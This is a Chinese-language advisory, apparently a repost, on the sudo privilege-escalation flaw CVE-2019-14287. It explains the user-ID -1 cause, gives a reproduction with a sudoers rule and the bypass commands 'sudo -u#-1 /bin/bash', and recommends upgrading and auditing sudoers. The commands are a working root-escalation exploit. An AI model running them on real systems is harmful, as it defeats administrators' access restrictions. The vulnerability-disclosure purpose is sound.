CVE-2019-14287 sudo提权漏洞

漏洞背景

2019年10月14日, sudo 官方在发布了 CVE-2019-14287 的漏洞预警。

sudo 是所有 unix操作系统(BSD, MacOS, GNU/Linux) 基本集成的一个用户权限控制/切换程序。允许管理员控制服务器下用户能够切换的用户权限。

CVE-2019-14287 是管理员在配置文件中用了 ALL 关键词后造成的。但默认的 sudo 配置文件不受影响。

360CERT判断漏洞等级为低危,影响面有限。

漏洞原因

调用将用户ID转换为用户名的函数将-1或其无符号等效4294967295误认为是0,该值始终是root用户的用户ID 。

漏洞复现

切换到root权限,修改/etc/sudoers文件

编辑非root帐号testsudovln,修改成类似以下配置

testsudovln ALL=(ALL, !root) /bin/bash

表示 testsudovln 不具备执行/bin/bash的sudo权限,保存后退出,以testsudovln帐号登录

执行sudo /bin/bash

Sorry, user testsudovln is not allowed to execute ‘/bin/bash’ as root on localhost.localdomain.

提示没有执行权限

当执行sudo -u#-1 /bin/bash或 sudo -u#4294967295 /bin/bash后

bash-4.1$ id
uid=2147483647 gid=0(root) groups=0(root)

漏洞利用成功,已经提权为root权限

由于这个漏洞一般是管理员配置不当引起, 影响面有限, 360CERT判断漏洞等级为低危。

修复建议

  1. 及时升级到 sudo 1.8.28 版本。
  2. 检索/etc/sudoers 是否存在 ALL 关键词的复合限制逻辑
Copyright © 2017 ITGATHER.COM - 闽ICP备19016859号-1
扫二维码--> 返回顶部